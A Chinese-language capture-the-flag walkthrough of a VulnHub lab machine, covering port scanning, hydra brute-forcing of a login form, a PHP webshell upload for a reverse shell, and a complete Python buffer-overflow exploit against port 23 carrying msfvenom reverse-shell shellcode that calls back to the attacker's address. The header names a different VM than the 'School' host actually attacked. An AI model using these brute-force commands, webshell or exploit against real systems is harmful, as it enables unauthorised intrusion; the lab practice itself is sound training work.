靶机:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
下载(镜像):https://download.vulnhub.com/boredhackerblog/medium_socnet.ova
难度:
- 高
目标:
- 获得 Root 权限 + 2 Flag
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- SQL 注入
- 信息泄露
- 文件上传
- 离线密码破解
- 在线密码破解
- WINE
- 缓冲区溢出
- EXP 代码编写
- 本地提权
主机发现
sudo arp-scan -l

端口扫描和服务发现
sudo nmap -p- 192.168.31.38

sudo nmap -p22,23,80 -A 192.168.31.38
,目标可能是 Debian 系统,服务器上的 SSH 版本是7.9
┌──(kali㉿DESKTOP-MLG4CQ2)-[~]
└─$ sudo nmap -p22,23,80 -A 192.168.31.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 17:52 CST
Nmap scan report for school (192.168.31.38)
Host is up (0.00052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
| 256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_ 256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
23/tcp open telnet?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns, tn3270:
|_ Verification Code:
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-title: 404 Not Found
|_Requested resource was login.php
|_http-server-header: Apache/2.4.38 (Debian)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port23-TCP:V=7.94SVN%I=7%D=1/23%Time=6792116E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GenericLin
SF:es,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(tn3270,1C,"
SF:Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GetRequest,1C,"Ver
SF:ification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(HTTPOptions,1C,"Verif
SF:ication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RTSPRequest,1C,"Verific
SF:ation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RPCCheck,1C,"Verification
SF:\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSVersionBindReqTCP,1C,"Verif
SF:ication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSStatusRequestTCP,1C,
SF:"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Help,1C,"Verifica
SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SSLSessionReq,1C,"Verifica
SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServerCookie,1C,"V
SF:erification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TLSSessionReq,1C,"V
SF:erification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Kerberos,1C,"Verifi
SF:cation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SMBProgNeg,1C,"Verificat
SF:ion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(X11Probe,1C,"Verification\x
SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(FourOhFourRequest,1C,"Verificati
SF:on\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LPDString,1C,"Verification\x
SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPSearchReq,1C,"Verification\x
SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPBindReq,1C,"Verification\x20
SF:Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SIPOptions,1C,"Verification\x20Cod
SF:e:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LANDesk-RC,1C,"Verification\x20Code:\
SF:n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServer,1C,"Verification\x20Code:
SF:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(NCP,1C,"Verification\x20Code:\n\0\0\0\x
SF:ee\x1e@\0\xe2\x1c")%r(NotesRPC,1C,"Verification\x20Code:\n\0\0\0\xee\x1
SF:e@\0\xe2\x1c")%r(JavaRMI,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\x
SF:e2\x1c")%r(WMSRequest,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\
SF:x1c")%r(oracle-tns,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c
SF:")%r(ms-sql-s,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(
SF:afp,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c");
MAC Address: 08:00:27:D7:87:B1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.51 ms school (192.168.31.38)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds
nc 192.168.31.38 23
连接一下 23 端口看一下有什么反馈,发现和常见的 telnet 服务不一样,要求我们输入验证码

访问 80 端口是一个登录框

暴力破解
hydra
hydra
是一款功能强大且广为人知的开源密码破解工具,常用于安全审计和渗透测试工作中,以下从多个方面详细介绍它:
特点
- 多协议支持 :
hydra
支持众多网络协议的密码破解,如 SSH、FTP、HTTP、HTTPS、SMTP、POP3、IMAP 等。这使得它在不同的网络服务场景下都能发挥作用,能够针对各种应用程序和服务进行密码暴力破解测试。 - 速度快:采用多线程技术,能够同时发起多个连接和尝试,大大提高了密码破解的速度。通过合理配置线程数量,可以在短时间内尝试大量的密码组合。
- 高度可定制:用户可以自定义用户名、密码字典、攻击模式等,根据具体的测试需求灵活调整破解策略。还可以设置并发连接数、超时时间等参数。
基本用法
hydra
的基本语法如下:
bash
hydra [-l <username> | -L <username_list>] [-p <password> | -P <password_list>] <target> <service>
- 参数说明:
-
-l <username>
:指定单个用户名。-L <username_list>
:指定包含多个用户名的文件路径。-p <password>
:指定单个密码。-P <password_list>
:指定包含多个密码的字典文件路径。<target>
:目标主机的 IP 地址或域名。<service>
:要攻击的服务,如ssh
、ftp
、http
等。
示例
1. SSH 服务密码破解
bash
hydra -l root -P /path/to/passwords.txt ssh://192.168.1.100
此命令表示使用用户名 root
和 /path/to/passwords.txt
字典文件对 IP 为 192.168.1.100
的主机的 SSH 服务进行密码破解。
2. HTTP 表单认证破解
bash
hydra -l admin -P /path/to/passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
该命令针对 IP 为 192.168.1.100
的主机上的 login.php
表单进行破解,使用用户名 admin
和指定字典文件。^USER^
和 ^PASS^
是 hydra
的占位符,分别代表用户名和密码。F=incorrect
表示当页面中出现 incorrect
字符串时,认为密码验证失败。

根据这个 URL 地址来进行爆破
hydra 192.168.31.38 http-form-post "/student_attendance/ajax.php?action=login:username=^USER^&password=^PASS^:\r\n\r
\n3" -l admin -P /mnt/d/Downlaods_1/MidPwds.txt -vV -f
- -vV:这是两个详细输出选项的组合。
-v
表示显示详细的破解过程信息,-V
表示显示每个尝试的用户名和密码组合,方便用户实时了解破解进度和具体尝试情况。 - -f:当找到一个有效的用户名和密码组合后,
hydra
会立即停止破解过程,不再继续尝试其他密码。

使用密码成功进入后台

信息泄露

Ctrl + U 查看源代码发现注释里面有提示一个参数 site_settings,还有一个 uploads 的目录

传参后发现一个文件上传的点,尝试上传 Webshell

文件上传
kali 里面自带有 webshell,修改一下里面的 ip 为 kali 本机的 ip


然后成功上传上去了,路径就在刚刚发现的 uploads 路径下


现在 kali 启动监听,然后就点击触发反弹 shell

python -c "import pty;pty.spawn('/bin/bash')"
升级一下 shell
看 fox 账号下发现第一个 flag

第二个 flag 还是得提权之后才能看

查看 win 文件发现是一个脚本

用 wine 可以在 Linux 系统上运行 Windows 软件
使用 msf 生成 shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.31.127 LPORT=4444 -b '\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f' -f python

编写 exp
参考:vulnhub靶机-School: 1_ldapbindreq-CSDN博客
#!/usr/bin/python3
import socket
buf=b''
target_ip='192.168.31.38'
target_port=23
recv_buf=4096
junk = b'a' * 1902
ret_addr=b'\xdd\x12\x50\x62'
#nops=b'\x90'*32 可选
buf = b""
buf += b"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
buf += b"\x81\x76\x0e\xc0\xf1\x7a\xfb\x83\xee\xfc\xe2\xf4"
buf += b"\x3c\x19\xf8\xfb\xc0\xf1\x1a\x72\x25\xc0\xba\x9f"
buf += b"\x4b\xa1\x4a\x70\x92\xfd\xf1\xa9\xd4\x7a\x08\xd3"
buf += b"\xcf\x46\x30\xdd\xf1\x0e\xd6\xc7\xa1\x8d\x78\xd7"
buf += b"\xe0\x30\xb5\xf6\xc1\x36\x98\x09\x92\xa6\xf1\xa9"
buf += b"\xd0\x7a\x30\xc7\x4b\xbd\x6b\x83\x23\xb9\x7b\x2a"
buf += b"\x91\x7a\x23\xdb\xc1\x22\xf1\xb2\xd8\x12\x40\xb2"
buf += b"\x4b\xc5\xf1\xfa\x16\xc0\x85\x57\x01\x3e\x77\xfa"
buf += b"\x07\xc9\x9a\x8e\x36\xf2\x07\x03\xfb\x8c\x5e\x8e"
buf += b"\x24\xa9\xf1\xa3\xe4\xf0\xa9\x9d\x4b\xfd\x31\x70"
buf += b"\x98\xed\x7b\x28\x4b\xf5\xf1\xfa\x10\x78\x3e\xdf"
buf += b"\xe4\xaa\x21\x9a\x99\xab\x2b\x04\x20\xae\x25\xa1"
buf += b"\x4b\xe3\x91\x76\x9d\x99\x49\xc9\xc0\xf1\x12\x8c"
buf += b"\xb3\xc3\x25\xaf\xa8\xbd\x0d\xdd\xc7\x0e\xaf\x43"
buf += b"\x50\xf0\x7a\xfb\xe9\x35\x2e\xab\xa8\xd8\xfa\x90"
buf += b"\xc0\x0e\xaf\xab\x90\xa1\x2a\xbb\x90\xb1\x2a\x93"
buf += b"\x2a\xfe\xa5\x1b\x3f\x24\xed\x91\xc5\x99\xba\x53"
buf += b"\xdf\x8e\x12\xf9\xc0\xe0\x26\x72\x26\x9b\x6a\xad"
buf += b"\x97\x99\xe3\x5e\xb4\x90\x85\x2e\x45\x31\x0e\xf7"
buf += b"\x3f\xbf\x72\x8e\x2c\x99\x8a\x4e\x62\xa7\x85\x2e"
buf += b"\xa8\x92\x17\x9f\xc0\x78\x99\xac\x97\xa6\x4b\x0d"
buf += b"\xaa\xe3\x23\xad\x22\x0c\x1c\x3c\x84\xd5\x46\xfa"
buf += b"\xc1\x7c\x3e\xdf\xd0\x37\x7a\xbf\x94\xa1\x2c\xad"
buf += b"\x96\xb7\x2c\xb5\x96\xa7\x29\xad\xa8\x88\xb6\xc4"
buf += b"\x46\x0e\xaf\x72\x20\xbf\x2c\xbd\x3f\xc1\x12\xf3"
buf += b"\x47\xec\x1a\x04\x15\x4a\x8a\x4e\x62\xa7\x12\x5d"
buf += b"\x55\x4c\xe7\x04\x15\xcd\x7c\x87\xca\x71\x81\x1b"
buf += b"\xb5\xf4\xc1\xbc\xd3\x83\x15\x91\xc0\xa2\x85\x2e"
payload = b''
payload += junk
payload += ret_addr
#payload += nops
payload += buf
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
clientSock.connect((target_ip,target_port))
data_from_srv = clientSock.recv(recv_buf)
print(f"Reply --> {data_from_srv}")
print(f"Sending --> {payload}")
clientSock.sendall(payload)
运行 exp,获得 shell

去到 root 路径获取最后一个 flag

